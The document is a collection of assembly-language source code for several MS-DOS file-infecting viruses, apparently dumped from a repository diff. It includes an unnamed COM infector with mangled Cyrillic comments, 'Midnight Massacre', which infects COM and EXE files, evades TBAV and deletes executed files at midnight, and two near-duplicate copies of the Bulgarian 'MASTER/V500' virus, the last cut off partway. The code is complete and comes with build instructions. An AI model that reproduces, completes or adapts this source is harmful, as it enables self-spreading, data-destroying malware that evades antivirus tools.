mov word ptr cs:[102h],bx
mov ax,100h ; ¤à¥áá ¤«ï ¢®§¢à â  ­  ­ ç «® ¯à®£à ¬¬ë
pop es
push ax
ret
real dw 4cb4h ; ¢®â ®­¨ த¨¬ë¥ , ®à¨£¨­ «ì­ë¥ !
dw 21cdh
INT21entry:
cmp ax,0e200h ; ¯à®¢¥à塞 ᮡá⢥­­ãî äã­ªæ¨î,
; ª®â®àãî ¢¨àãá ¢ë¯®«­ï¥â çâ®¡ë ¯à®¢¥à¨âì
; ᢮¥ ­ «¨ç¨¥ ¢ ¯ ¬ïâ¨
jnz d01
mov al,22h
iret
d01:
cmp ax,0e233h ; ᥪà¥â­ ï äã­ªæ¨ï , ¢®§¢à é îé ï ®à¨£¨­ «ì­ë¥
;  ¤à¥á  ¯à¥à뢠­¨© ¨ à §¬¥à ¢¨àãá  (¤«ï ¢®§¬®¦­®á⨠«¥ç¥-
; ­¨ï «î¡®© ¢¥àᨨ
jnz d1
mov al,22h
mov bx,cs
; ¢®â ®­¨ , í⨠offset'ë
mov cx,offset real - offset start
mov dx,offset int21e - offset start
mov si,offset int10e - offset start
iret
d1:
cmp ah,4bh ; ª ª ¢¨¤¨â¥ , äã­ªæ¨ï 4b - £« ¢­ ï ¯à¨ç¨­  § à ¦¥­¨ï
jz in4b
jmp exitint21 ; ¥á«¨ ­¥ 4b , â® ¬ë ¢á¥ à ¢­® ¯®¤®¦¤¥¬
; ‚®â á ®¡ëç­® ¯®¯ ¤ îâ , ª®£¤  ¤¥« îâ INT 21h
in4b:
push ax ; ¢­¨¬ ­¨¥ žŒŽ ! ’¥ªá⮢ ï áâப  'PSQR'
push bx
push cx
push dx
push es
push ds
push si
push di
push dx
push ds
push cs
pop ds
mov ax,2524h
mov dx,offset int24entry - offset start
int 21h ;¯¥à¥å¢ â ªà¨â¨ç¥áª®© ®è¨¡ª¨
;¯à®¨á室¨â ⮫쪮 ¯à¨ § ¯ã᪥,
;¤ ¡ë ä ©«ë ­¥ ¯¥ç â «¨áì ­ 
;¯à¨­â¥à , ª®â®à®£® ­¥âã !
pop ds
pop dx
call cmpnol ;¨é¥¬ ­®«ì ¢ ª®­æ¥ ¯ãâ¨ á ¨¬¥­¥¬
call cmpcom ;  ­¥ COM «¨ íâ® á«ãç ©­® ?
jnc pr1 ; €ƒ€ ! ‡­ ç¨â ¢á¥-â ª¨ COM !
jmp exit ; ­ã ­¥ ¡ã¤¥¬ § à ¦ âì, çâ® ¯®¤¥« âì ...
pr1:
;á®å࠭塞 ¢ ¯¥à¥¬¥­­ë¥ ᥣ¬¥­â ¨ ᬥ饭¨¥ § ¯ã᪠¥¬®£® ä ©« 
mov word ptr cs:[offset adname - offset start],dx
mov word ptr cs:[offset adname - offset start+2],ds
call catt ;á­ïâì  âਡãâë
mov ax,3d02h ;®âªà뢠¥¬ ä ©«
int 21h
mov bx,ax
call gettime ;¯®«ãç ¥¬ ¨ á®å࠭塞 ¢à¥¬ï
;   íâ®â ªãá®ç¥ª §¤¥áì ª®­¥ç­® §àï,
; ­® íâ® ¡ë«® ¤ ¢­® ¨ ­¥¯à ¢¤ 
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
push ds
push cs
pop ds ; ᥣ¬¥­â ¤ ­­ëå ãáâ ­ ¢«¨¢ ¥¬ ­  ª®¤ ¢¨àãá 
mov ax,4200h ; §¤¥áì ª®­¥ç­® ¡ë«® ¢á¥ ­ ¯ãâ ­® ,­® § ¬¥âìâ¥,
; CX:DX ¢á¥ à ¢­® ­ã«¨
int 21h
mov ah,3fh
mov dx,offset virend - offset start
mov cx,4h
int 21h ; ç¨â ¥¬ ­ ç «® ä ©«  ¢ ®¡« áâì §  ¢¨àãᮬ
; ¥á«¨ § à ¦¥­® , â® ç¥â¢¥àâë© ¡ ©â ¤®«¦¥­ ¡ëâì 'Q'
cmp byte ptr ds:[offset virend - offset start + 3],'Q'
jnz ok2
pop ds
jmp closeexit ; ¢ë室 á § ªàë⨥¬ ä ©«  ¨ ¢®ááâ ­®¢ª®© ®áâ «ì­®£®
; ¤®¡à 
ok2:
xor si,si
mov dx,0 - 200h
p2:
;á«¥¤ãî騩 äà £¬¥­â áç¨â뢠¥â ¢ ¯ ¬ïâì ¯®á«¥¤®¢ â¥«ì­® ¢¥áì ä ©«
;¯® 200h ¨ ᪠­¨àã¥â ­  ®¯à¥¤¥«¥­­®¥ ª®«¨ç¥á⢮ ­ã«¥© (  ¨¬¥­­® 777),
mov ax,4200h
add dx,200h
xor cx,cx
int 21h
push ax
mov ah,3fh
mov dx,offset virend - offset start
mov cx,200h
int 21h
cmp ax,0
jnz d3
pop dx ; ä ©« § ª®­ç¨«áï
jmp d2
d3:
cmp ax,200h
jz ok4
add ax,offset virend - offset start
mov di,ax
mov word ptr ds:[di],0ffh ;   íâ® çâ®-â® ¢à®¤¥ ª®­æ®¢®çª¨
ok4:
call scanspace ; ᪠­¨à㥬 ¯à®ç¨â ­­ë¥ 200h
pop dx
cmp si,offset virend - offset start
jc p2 ; ¥á«¨ ª®«-¢® ­ã«¥© ¬¥­ìè¥ ç¥¬ à §¬¥à ¢¨àãá 
; â® ¯à®¤®«¦ ¥¬ ᪠­¨à®¢ ­¨¥
sub di,(offset virend - offset start)
add dx,di
sub dx,si
push dx ; ¢ DX ᬥ饭¨¥ ¢ ä ©«¥ ,ª®â®à®¥ 㪠§ë¢ ¥â ­ 
; ­ ©¤¥­­ãî ®¡« áâì á ­ã«ï¬¨
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ah,3fh
mov cx,4h
mov dx,offset real - offset start
int 21h ; ç¨â ¥¬ ॠ«ì­ë¥ ¡ ©â¨ª¨ ¯à®£à.
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov si,offset virend - offset start
mov byte ptr ds:[si],0e9h
pop dx
push dx
sub dx,3
mov word ptr ds:[si+1],dx ; ¯®¤£®â ¢«¨¢ ¥¬ ­ ç «ì­ë¥ ç¥âëॠ¡ ©â 
mov byte ptr ds:[si+3],'Q' ;   íâ® ¬¥âª  § à ¦¥­­®áâ¨
mov ah,40h
mov cx,4h
mov dx,offset virend - offset start
int 21h ; § ¯¨á뢠¥¬ ¨å
pop dx ; ¢ DX  ¤à¥á ®¡« áâ¨ á ­ã«ï¬¨
xor cx,cx
mov ax,4200h
int 21h
mov ah,40h
mov cx,offset virend - offset start
xor dx,dx
int 21h ; ¤®¯¨á뢠¥¬ â㤠 ⥫® ¢¨àãá 
d2:
pop ds
closeexit:
call puttime ; ¢®ááâ ­ ¢«¨¢ ¥¬ ¢à¥¬ï
mov ah,3eh
int 21h ; ¢á¥ ! à ¡®ç¨© ¤¥­ì ª®­ç¨«áï !
exit:
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
exitint21:
db 0eah
int21e dw ?
dw ?
adname dw ?
dw ?
int24entry:
mov ax,0h ;   íâ® ABORT ! •®à®è®, çâ® ¬ë ­¥ ¢ ˆâ «¨¨ !
iret
time dw ?
dw ?
;------------------------------------- ¯®¨áª ­ã«ï ¢ ª®­æ¥ ¯ãâ¨ á ¨¬¥­¥¬
cmpnol:
mov bx,dx
nol:
inc bx
cmp byte ptr ds:[bx],0h
jnz nol
ret
;------------------------------------- ¯à®¢¥àª  ­  COM
cmpcom:
cmp word ptr ds:[bx-2],'MO'
clc
jz exitcmpexe
stc
exitcmpexe:
ret
;--------------------------------------- ¯®«ã祭¨¥ ¨ ãáâ ­®¢ª  ­®à¬ «ì­ëå
;  âਡã⮢
catt:
push ds
push dx
mov ax,4300h
LDS dx,dword ptr cs:[offset adname - offset start]
int 21h
and cl,11111110b
mov ax,4301h
int 21h
pop dx
pop ds
ret
;--------------------------------------- ¯®«ã祭¨¥ ¨ á®åà ­¥­¨¥ ¢à¥¬¥­¨
gettime:
mov ax,5700h
int 21h
and cl,11100000b
mov word ptr cs:[offset time - offset start],cx
mov word ptr cs:[offset time - offset start+2],dx
ret
;----------------------------------------- ¢®§¢à é¥­¨¥ áâ à®£® ¢à¥¬¥­¨ ;)
puttime:
mov ax,5701h
mov cx,word ptr cs:[offset time - offset start]
mov dx,word ptr cs:[offset time - offset start+2]
int 21h
ret
;------------------------------------------ ᪠­¨à®¢ ­¨¥ ­  ­ã«¨
scanspace:
mov di,offset virend - offset start - 1
opsc:
inc di
cmp di,(offset virend - offset start) + 200h
jnc exsc
mov al,ds:[di]
cmp al,0
jnz clscan
inc si
jmp opsc
exsc:
ret
clscan:
cmp si,offset virend - offset start
jc ok3
ret
ok3:
xor si,si
jmp opsc
int10entry:
cmp ax,0005h ; ¯à®¢¥àª  ­  ãáâ ­®¢«¥­¨¥ CGA 320x200
jz svert ; ¥á«¨ â ª®¢®©, â® à¨á㥬 ¯à®«¥â î騩 ¢¥à⮫¥â
exitint10:
db 0eah
int10e dw ?
dw ?
svert:
cmp si,22h
jz exitint10 ; ®¡å®¤¨¬ ᮡá⢥­­ë¥ ¢ë§®¢ë
; “ € ’Ž - ‚…’Ž‹…’ !
vert:
push ds
push ax
push bx
push cx
push dx
push si
push di
push bp
push es
push cs
pop ds
mov ax,0b800h
mov es,ax
mov si,22h
mov ax,5
int 10h
mov cx,70
mov dx,30
bb:
push cx
mov cx,6000h
zlp:
loop zlp
pop cx
call bert
loop bb
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop ds
jmp exitint10
;------------------------
bert:
push dx
push cx
push ax
push si
push di
mov ax,dx
mov bx,80
mul bx
add ax,cx
mov di,ax
mov bp,0
mov si,offset berts - offset start
opbert:
mov cx,6
push di
rep movsb
pop di
add di,2000h
inc bp
cmp bp,12
je exbert
mov cx,6
push di
rep movsb
pop di
sub di,2000h-80
inc bp
cmp bp,12
je exbert
jmp opbert
exbert:
pop di
pop si
pop ax
pop cx
pop dx
ret
;================================
berts db 0,0,0,0,0,0 ; ¢¥à⮫¥â, ¨«¨ ¯®-ãªà ¨­áª¨ - 奫¨ª®¯â¥à
db 0,0,0,0,0,0
db 0,0,55h,40h,0,0
db 0,0,4,0,0,0
db 0,1,44h,0,0,0
db 0,15h,55h,0,4,0
db 0,50h,57h,55h,55h,0
db 0,15h,75h,55h,4,0
db 0,5,55h,0,0,0
db 0,0,10h,0,0,0
db 0,0,0,0,0,0
db 0,0,0,0,0,0
;=================================
db '·‚“೟˜•Ÿàßß྇ཎŸ†‡àß' ; § è¨ä஢ ­­®¥ ¯®á« ­¨¥ ¯®â®¬ª ¬
; î§ ©â¥ NEG.
virend:
seg_a ends
end start
+563
View File
@@ -0,0 +1,563 @@
;****************************************************************************
;* Midnight Massacre virus *
;* by Crypt Keeper *
;****************************************************************************
;Version 1.2
;Entry point and check resident bugs fixed.
;Midnight Massacre is based on the Eleet! virus, but with added .COM
;support, bugs in infection process fixed, and new load resident and
;trigger routines. The Midnight Massacre virus will infect .COM or
;.EXE files as they are opened, executed, or their attributes are
;accessed. Also, if the system time is 12:00am, the virus will delete
;any file executed or opened for any reason (midnight massacre).
;Midnight Massacre also has a unique memory-resident installation
;routine that will load it into the UMB if a high memory driver is
;present, or 1000h paragraphs down from top of memory, if no HMA
;driver is loaded. Midnight Massacre will not infect COMMAND.COM
;TASM MASSACRE.ASM /M3
;TLINK MASSACRE.OBJ /t
;The generated .COM file is ready to run with no modifications.
.model tiny
.code
org 100h
massacre: ;start of virus code
vtop equ $ ;top of virus code block
;Equates --------------------------------------------------------------------
vlength equ vbot-vtop ;virus length in bytes
heapsiz equ hbot-heap ;heap size in bytes
vlres equ ((vlength+heapsiz+100h)/16)+1 ;virus length in paragraphs
vlpage equ (vlength/512)+1 ;virus length in pages
chkfunc equ 9AC7h ;check resident int 21h function
virusid equ 0000h ;virus ID word in exeheader
;----------------------------------------------------------------------------
db 0BDh ;mov bp,
delta dw 0 ;delta offset
lea sp,[bp+(offset(sspace)+64)] ;set up new stack
push ds
push es ;save original EXE segments
cld ;clear direction flag
mov ax,chkfunc
int 2Fh
push cs
pop ds
cmp ax,chkfunc+1 ;did virus return reply?
jne install ;if not, install resident
jmp return ;if so, return to original program
install:
mov ax,3521h ;Get int 21h vector
int 21h
mov [bp+offset(i21veco)],bx
mov [bp+offset(i21vecs)],es
mov ax,352Fh ;Get int 2Fh vector
int 21h
mov [bp+offset(i2Fveco)],bx
mov [bp+offset(i2Fvecs)],es
mov ax,4300h ;get himem.sys installed state
int 2Fh ;multiplex interrupt
cmp al,80h ;80h in al means himem.sys is loaded
jne get_old_fashioned_way
mov ax,4310h ;get himem.sys entry point adress
int 2Fh
mov [bp+offset(himem_o)],bx
mov [bp+offset(himem_s)],es ;save entry point for calling
mov ah,10h ;allocate UMB (function 10h)
mov dx,vlres ;paragraphs to request
call dword ptr [bp+offset(himem_o)] ;call himem.sys
mov ax,bx ;BX will contain segment of memory
jmp short go_ahead_load ;continue with load procedure
get_old_fashioned_way:
int 12h ;get total k-bytes of RAM in conv. mem
xor dx,dx
mov cx,1024
mul cx
mov cx,16
div cx ;convert to paragraphs
sub ax,1000h ;put it 1000h paragraphs down from TOM
go_ahead_load:
mov es,ax ;segment of allocated memory arena
lea si,[bp+offset(massacre)] ;bp=start of virus code
mov cx,vlength+heapsiz ;virus length in bytes+heap data
mov di,100h
rep movsb ;copy virus code up there
push es
pop ds
mov dx,offset(i2Fvec) ;new int 21h vector
mov ax,252Fh ;set int 21h vector
int 21h
mov dx,offset(i21vec) ;new int 21h vector
mov ax,2521h ;set int 21h vector
int 21h
return: cmp byte ptr [bp+offset(comid)],0 ;is this a .COM file we're from?
jne return_exe
mov sp,0FFFEh ;set old stack pointer
push cs
pop ds
push cs
pop es
lea si,[bp+offset(saved)] ;saved bytes from original .COM
mov di,100h
push di ;set up for return
mov cx,compend-cptop ;size of branch code to replace
rep movsb ;replace branch code
ret ;jump back to top of code segment
return_exe:
mov ah,51h ;Get PSP adress
int 21h
add bx,16 ;Compensate for PSP size
pop es
pop ds ;Restore original ES and DS from EXE
cli ;Clear interrupts for stack change
mov sp,cs:[bp+offset(old_sp)]
mov ax,cs:[bp+offset(old_ss)]
add ax,bx ;Find segment for SS
mov ss,ax ;Reset original EXE stack
sti
add cs:[bp+offset(old_cs)],bx ;Find segment for CS
jmp dword ptr cs:[bp+offset(old_ip)] ;Far jump to original EXE code
;----------------------------------------------------------------------------
i2Fvec: cmp ax,chkfunc ;check resident function?
je ret_reply ;if so, return a reply
jmp dword ptr cs:i2Fveco
ret_reply:
inc ax
iret ;return with reply
;----------------------------------------------------------------------------
move_pointer_beginning:
xor dx,dx
xor cx,cx
mov ax,4200h ;move file pointer to beginning of file
jmp short function ;execute DOS function call
move_pointer_end:
xor cx,cx
xor dx,dx ;move pointer 0 bytes
mov ax,4202h ;move pointer to end of file
;goes on to function procedure below
function:
pushf
call dword ptr cs:i21veco ;simulate int 21h call
ret
;Data -----------------------------------------------------------------------
message db '[MIDNIGHT MASSACRE] V1.2 by Crypt Keeper'
old_sp dw 0
old_ss dw 0FFF0h ;Old SS:SP
old_ip dw 0
old_cs dw 0FFF0h ;Old CS:IP
exeext db 'EXE'
comext db 'COM' ;Extensions to look for
comid db 0 ;set to 0 if .COM file by loader
cptop equ $ ;start of COM file branch program
comproc:
nop
db 0BBh ;MOV BX,
voffset dw 0 ;virus jump offset
push bx
ret
compend equ $ ;End of COM file branch program
saved db 0CDh,20h ;for proper return on gen #1 file
db (compend-cptop)-2 dup (0) ;saved .COM file bytes
;----------------------------------------------------------------------------
i21vec: nop
xchg ax,dx ;load into another register to fool
;TBAV's interception check flag
cmp dx,4B00h ;load and execute program?
je vtrigger
cmp dx,4B01h ;load program?
je vtrigger
cmp dh,3Dh ;open file with handle?
je vtrigger
cmp dx,4301h ;set file attributes?
je vtrigger
cmp dx,4300h ;get file attributes?
je vtrigger
xchg ax,dx
jmp dword ptr cs:i21veco
vtrigger:
xchg ax,dx
push es
push si
push di
push ax
push bx
push cx
push ds
push dx
mov ah,2Ch ;Get time
int 21h
pop dx
push dx ;get old DX off stack
cmp cx,0 ;midnight?
jne no_massacre ;if not, skip the massacre
mov ah,41h ;delete file
int 21h
jmp short exitvec ;exit from interrupt
no_massacre:
push ds
pop es
mov di,dx
push cs
pop ds
cld ;clear direction flag
mov cx,128 ;maximum number of chars in a filename
mov al,'.' ;search for extension seperator
repne scasb ;find file extension
cmp cx,0 ;no extension found?
je exitvec
mov bx,di
upcase: cmp byte ptr es:[di],97
jb skip_change
cmp byte ptr es:[di],122
ja skip_change ;non-letters are not affected
and byte ptr es:[di],5Fh ;make character upper case
skip_change:
inc di
loop upcase
mov di,bx
mov si,offset(exeext) ;extension to compare to
mov cx,3 ;3 bytes to compare
repe cmpsb ;is the extension 'EXE'?
cmp cx,0 ;were they equal?
je infect_exe ;if so, infect the .EXE file
mov di,bx
mov si,offset(comext) ;extension to compare to
mov cx,3 ;3 bytes to compare
repe cmpsb ;is the extension 'COM'?
cmp cx,0 ;were they equal?
jne exitvec ;if not, terminate
sub bx,3
cmp word ptr es:[bx],'DN' ;end with 'ND'?
je exitvec
jmp infect_com ;infect the .COM file
exitvec:
pop dx
pop ds
pop cx
pop bx
pop ax
pop di
pop si
pop es
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
infect_exe:
pop dx
push dx ;get adress of filename off stack
call prepare_infect ;prepare to infect
mov cx,28 ;size of EXE header + extra stuff
mov dx,offset(exeheader) ;EXE header data space
mov ah,3Fh ;read file or device
int 21h
mov ax,exesign
xor ax,0ABCDh ;kill TBAV's check exe/com flag
cmp ax,0E697h
je exe_ok
cmp ax,0F180h
je exe_ok ;if EXE ID field is ok, go ahead
jmp endinfection ;If not good EXE, end infection
exe_ok: cmp idword,virusid ;virus already infected?
jne not_infected ;if not, proceed
jmp endinfection
not_infected:
les si,dword ptr ds:initip ;get CS:IP from EXE header
mov old_cs,es
mov old_ip,si
les si,dword ptr ds:initss ;get SS:SP (reversed)
mov old_ss,si
mov old_sp,es
call move_pointer_end ;move file pointer to end of file
mov cx,10h
div cx ;convert to paragraphs
push ax
sub ax,headers ;subtract header size in paragraphs
pop cx
cmp ax,cx
ja endinfection ;If file too small, end infection
mov initcs,ax
mov initip,dx ;set initial CS:IP in exe header
sub dx,100h
mov delta,dx ;set delta offset in virus
mov initss,ax
mov idword,virusid ;set initial SS:SP in exe header
add minallc,vlres+1 ;add virus size to minimum memory
mov comid,0FFh ;set COM-ID field to nonzero (not COM)
mov cx,vlength ;number of bytes in virus
mov dx,100h
mov ah,40h ;write file or device
int 21h
call move_pointer_end ;move file pointer to end of file
mov cx,512
div cx ;change bytes in new file to pages
cmp dx,0 ;no remainder?
je go_ahead_set
inc ax ;if remainder, add another page
go_ahead_set:
mov expages,ax
mov exbytes,dx ;set EXE file size
call move_pointer_beginning ;move pointer to beginning of file
mov cx,28 ;header size in bytes
mov dx,offset(exeheader) ;write exe header back out to file
mov ah,40h ;write file or device
call function
endinfection:
mov cx,oldtime
mov dx,olddate
mov ax,5701h ;set file date and time
int 21h
mov ah,3Eh ;close file with handle
int 21h
pop dx
pop ds ;get old location of filename
mov cx,oldattr
mov ax,4301h ;set file attributes
call function
jmp exitvec ;return from interrupt
prepare_infect:
push es
pop ds
mov ax,4300h ;get file attributes
call function
jnc file_ok ;no carry means filename exists
jmp exitvec
file_ok:
pop ax ;preserve return vector
push ds
push dx
push ax ;put return vector on top of stack
mov cs:oldattr,cx ;save old file attributes
xor cx,cx ;set to normal attributes
mov ax,4301h ;set file attributes
call function
mov ax,3D02h ;open file for read/write access
call function
mov bx,ax ;file handle
push cs
pop ds
mov ax,5700h ;get file date and time
int 21h
mov oldtime,cx
mov olddate,dx ;save old time and date
ret
infect_com:
pop dx
push dx ;get adress of filename off stack
call prepare_infect ;open and prepare to infect
mov cx,compend-cptop ;size of .COM file branch code
mov dx,offset(saved) ;saved bytes buffer
mov ah,3Fh ;read file or device
int 21h
mov ax,word ptr comproc
cmp word ptr saved,ax ;is file already infected?
je endinfection
mov comid,0 ;zero .COM id field
call move_pointer_end ;move file pointer to EOF
mov delta,ax ;delta offset
add ax,100h
mov voffset,ax ;offset of virus code in .COM file
mov cx,vlength ;length of virus to write
mov dx,100h
mov ah,40h ;write file or device
int 21h
call move_pointer_beginning ;move file pointer to start of file
mov cx,compend-cptop ;size of .COM file branch code
mov dx,offset(comproc) ;.COM file branch code to write
mov ah,40h ;write file or device
int 21h
jmp endinfection ;we're done.
;----------------------------------------------------------------------------
vbot equ $ ;bottom of virus code
heap equ $ ;Beginning of heap
himem_o dw 0
himem_s dw 0 ;himem.sys entry point adress
i21veco dw 0
i21vecs dw 0 ;int 21h vector
exeheader:
exesign dw 0 ;EXE signature
exbytes dw 0 ;number of bytes in last page
expages dw 0 ;number of pages in file
reloci dw 0 ;number of items in relocation table
headers dw 0 ;size of header in paragraphs
minallc dw 0 ;minimum memory to be allocated
maxallc dw 0 ;maximum memory to be allocated
initss dw 0 ;initial SS value
idword dw 0 ;initial SP value (used as ID word)
chksum dw 0 ;complimented checksum
initip dw 0 ;initial IP value
initcs dw 0 ;initial CS value
reltabl dw 0 ;byte offset to relocation table
ovnum dw 0 ;overlay number
oldattr dw 0 ;old file attributes
oldtime dw 0
olddate dw 0 ;old saved time and date
i2Fveco dw 0
i2Fvecs dw 0 ;old INT 2Fh vectors
hbot equ $ ;bottom of heap
sspace db 64 dup ('+') ;virus stack
end massacre
+310
View File
@@ -0,0 +1,310 @@
; (C) Copyright VirusSoft Corp. Sep., 1990
;
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
; virus, distributed by VirusSoft company . First version was made
; in May., 1990 . Please don't make any corections in this file !
;
; Bulgaria, Varna
; Sep. 27, 1990
ofs = 201h
len = offset end-ofs
call $+6
org ofs
first: dw 020cdh
db 0
pop di
dec di
dec di
mov si,[di]
dec di
add si,di
push cs
push di
cld
movsw
movsb
xchg ax,dx
mov ax,4b04h
int 21h
jnc residnt
xor ax,ax
mov es,ax
mov di,ofs+3
mov cx,len-3
rep movsb
les di,[6]
mov al,0eah
dec cx
repne scasb
les di,es:[di] ; Searching for the INT21 vector
sub di,-1ah-7
db 0eah
dw offset jump,0 ; jmp far 0000:jump
jump: push es
pop ds
mov si,[di+3-7] ;
lodsb ;
cmp al,68h ; compare DOS Ver
mov [di+4-7],al ; Change CMP AH,CS:[????]
mov [di+2-7],0fc80h ;
mov [di-7],0fccdh ;
push cs
pop ds
mov [1020],di ; int 0ffh
mov [1022],es
mov beg-1,byte ptr not3_3-beg
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
mov beg-1,byte ptr 0
mov [7b4h],offset pr7b4
mov [7b6h],cs ; 7b4
not3.3: mov al,0a9h ; Change attrib
cont: repne scasb
cmp es:[di],0ffd8h
jne cont
mov al,18h
stosb
push ss
pop ds
push ss
pop es
residnt: xchg ax,dx
retf ; ret far
;--------Interrupt process--------;
i21pr: push ax
push dx
push ds
push cx
push bx
push es
if4b04: cmp ax,4b04h
je rti
xchg ax,cx
mov ah,02fh
int 0ffh
if11_12: cmp ch,11h
je yes
cmp ch,12h
jne inffn
yes: xchg ax,cx
int 0ffh
push ax
test es:byte ptr [bx+19],0c0h
jz normal
sub es:[bx+36],len
normal: pop ax
rti: pop es
pop bx
pop cx
add sp,12
iret
inffn: mov ah,19h
int 0ffh
push ax
if36: cmp ch,36h ; -free bytes
je beg_36
if4e: cmp ch,4eh ; -find first FM
je beg_4b
if4b: cmp ch,4bh ; -exec
je beg_4b
if47: cmp ch,47h ; -directory info
jne if5b
cmp al,2
jae begin ; it's hard-disk
if5b: cmp ch,5bh ; -create new
je beg_4b
if3c_3d: shr ch,1 ; > -open & create
cmp ch,1eh ; -
je beg_4b
jmp rest
beg_4b: mov ax,121ah
xchg dx,si
int 2fh
xchg ax,dx
xchg ax,si
beg_36: mov ah,0eh ; change current drive
dec dx ;
int 0ffh ;
begin:
push es ; save DTA address
push bx ;
sub sp,44
mov dx,sp ; change DTA
push sp
mov ah,1ah
push ss
pop ds
int 0ffh
mov bx,dx
push cs
pop ds
mov ah,04eh
mov dx,offset file
mov cx,3 ; r/o , hidden
int 0ffh ; int 21h
jc lst
next: test ss:[bx+21],byte ptr 80h
jz true
nxt: mov ah,4fh ; find next
int 0ffh
jnc next
lst: jmp last
true: cmp ss:[bx+27],byte ptr 0fdh
ja nxt
mov [144],offset i24pr
mov [146],cs
les ax,[4ch] ; int 13h
mov i13adr,ax
mov i13adr+2,es
jmp short $
beg: mov [4ch],offset i13pr
mov [4eh],cs
not3_3: push ss
pop ds
push [bx+22] ; time +
push [bx+24] ; date +
push [bx+21] ; attrib +
lea dx,[bx+30] ; ds : dx = offset file name
mov ax,4301h ; Change attrib !!!
pop cx
and cx,0feh ; clear r/o and CH
or cl,0c0h ; set Infect. attr
int 0ffh
mov ax,03d02h ; open
int 0ffh ; int 21h
xchg ax,bx
push cs
pop ds
mov ah,03fh
mov cx,3
mov dx,offset first
int 0ffh
mov ax,04202h ; move fp to EOF
xor dx,dx
mov cx,dx
int 0ffh
mov word ptr cal_ofs+1,ax
mov ah,040h
mov cx,len
mov dx,ofs
int 0ffh
jc not_inf
mov ax,04200h
xor dx,dx
mov cx,dx
int 0ffh
mov ah,040h
mov cx,3
mov dx,offset cal_ofs
int 0ffh
not_inf: mov ax,05701h
pop dx ; date
pop cx ; time
int 0ffh
mov ah,03eh ; close
int 0ffh
les ax,dword ptr i13adr
mov [4ch],ax ; int 13h
mov [4eh],es
last: add sp,46
pop dx
pop ds ; restore DTA
mov ah,1ah
int 0ffh
rest: pop dx ; restore current drive
mov ah,0eh ;
int 0ffh ;
pop es
pop bx
pop cx
pop ds
pop dx
pop ax
i21cl: iret ; Return from INT FC
i24pr: mov al,3 ; Critical errors
iret
i13pr: cmp ah,3
jne no
inc byte ptr cs:activ
dec ah
no: jmp dword ptr cs:i13adr
pr7b4: db 2eh,0d0h,2eh
dw offset activ
; shr cs:activ,1
jnc ex7b0
inc ah
ex7b0: jmp dword ptr cs:[7b0h]
;--------
file: db "*",32,".COM"
activ: db 0
dw offset i21pr ; int 0fch
dw 0
cal_ofs: db 0e8h
end:
dw ? ; cal_ofs
i13adr: dw ?
dw ?
; The End.---
+308
View File
@@ -0,0 +1,308 @@
; (C) Copyright VirusSoft Corp. Sep., 1990
;
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
; virus, distributed by VirusSoft company . First version was made
; in May., 1990 . Please don't make any corections in this file !
;
; Bulgaria, Varna
; Sep. 27, 1990
ofs = 201h
len = offset end-ofs
call $+6
org ofs
first: dw 020cdh
db 0
xchg ax,dx
pop di
dec di
dec di
mov si,[di]
dec di
add si,di
push cs
push di
cld
movsw
movsb
mov ax,4b04h
int 21h
jnc residnt
xor ax,ax
mov es,ax
mov di,ofs+3
mov cx,len-3
rep movsb
les di,[6]
mov al,0eah
dec cx
repne scasb
les di,es:[di] ; Searching for the INT21 vector
sub di,-1ah-7
db 0eah
dw offset jump,0 ; jmp far 0000:jump
jump: push es
pop ds
mov si,[di+3-7] ;
lodsb ;
cmp al,68h ; compare DOS Ver
mov [di+4-7],al ; Change CMP AH,CS:[????]
mov [di+2-7],0fc80h ;
mov [di-7],0fccdh ;
push cs
pop ds
mov [1020],di ; int 0ffh
mov [1022],es
mov beg-1,byte ptr not3_3-beg
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
mov beg-1,byte ptr 0
mov [7b4h],offset pr7b4
mov [7b6h],cs ; 7b4
not3.3: mov al,0a9h ; Change attrib
cont: repne scasb
cmp es:[di],0ffd8h
jne cont
mov al,18h
stosb
push ss
pop ds
push ss
pop es
residnt: xchg ax,dx
retf ; ret far
;--------Interrupt process--------;
i21pr: push ax
push dx
push ds
push cx
push bx
push es
if4b04: cmp ax,4b04h
je rti
xchg ax,cx
mov ah,02fh
int 0ffh
if11_12: cmp ch,11h
je yes
cmp ch,12h
jne inffn
yes: xchg ax,cx
int 0ffh
push ax
test es:byte ptr [bx+19],0c0h
jz normal
sub es:[bx+36],len
normal: pop ax
rti: pop es
pop bx
pop cx
add sp,12
iret
inffn: mov ah,19h
int 0ffh
push ax
if36: cmp ch,36h ; -free bytes
je beg_36
if4e: cmp ch,4eh ; -find first FM
je beg_4b
if4b: cmp ch,4bh ; -exec
je beg_4b
if47: cmp ch,47h ; -directory info
jne if5b
cmp al,2
jae begin ; it's hard-disk
if5b: cmp ch,5bh ; -create new
je beg_4b
if3c_3d: shr ch,1 ; > -open & create
cmp ch,1eh ; -
je beg_4b
jmp rest
beg_4b: mov ax,121ah
xchg dx,si
int 2fh
xchg ax,dx
xchg ax,si
beg_36: mov ah,0eh ; change current drive
dec dx ;
int 0ffh ;
begin:
push es ; save DTA address
push bx ;
sub sp,44
mov dx,sp ; change DTA
push sp
mov ah,1ah
push ss
pop ds
int 0ffh
mov bx,dx
push cs
pop ds
mov ah,04eh
mov dx,offset file
mov cx,3 ; r/o , hidden
int 0ffh ; int 21h
jc lst
next: test ss:[bx+21],byte ptr 80h
jz true
nxt: mov ah,4fh ; find next
int 0ffh
jnc next
lst: jmp last
true: cmp ss:[bx+27],byte ptr 0fdh
ja nxt
mov [144],offset i24pr
mov [146],cs
les ax,[4ch] ; int 13h
mov i13adr,ax
mov i13adr+2,es
jmp short $
beg: mov [4ch],offset i13pr
mov [4eh],cs
;
not3_3: push ss
pop ds
push [bx+22] ; time +
push [bx+24] ; date +
push [bx+21] ; attrib +
lea dx,[bx+30] ; ds : dx = offset file name
mov ax,4301h ; Change attrib !!!
pop cx
and cx,0feh ; clear r/o and CH
or cl,0c0h ; set Infect. attr
int 0ffh
mov ax,03d02h ; open
int 0ffh ; int 21h
xchg ax,bx
push cs
pop ds
mov ah,03fh
mov cx,3
mov dx,offset first
int 0ffh
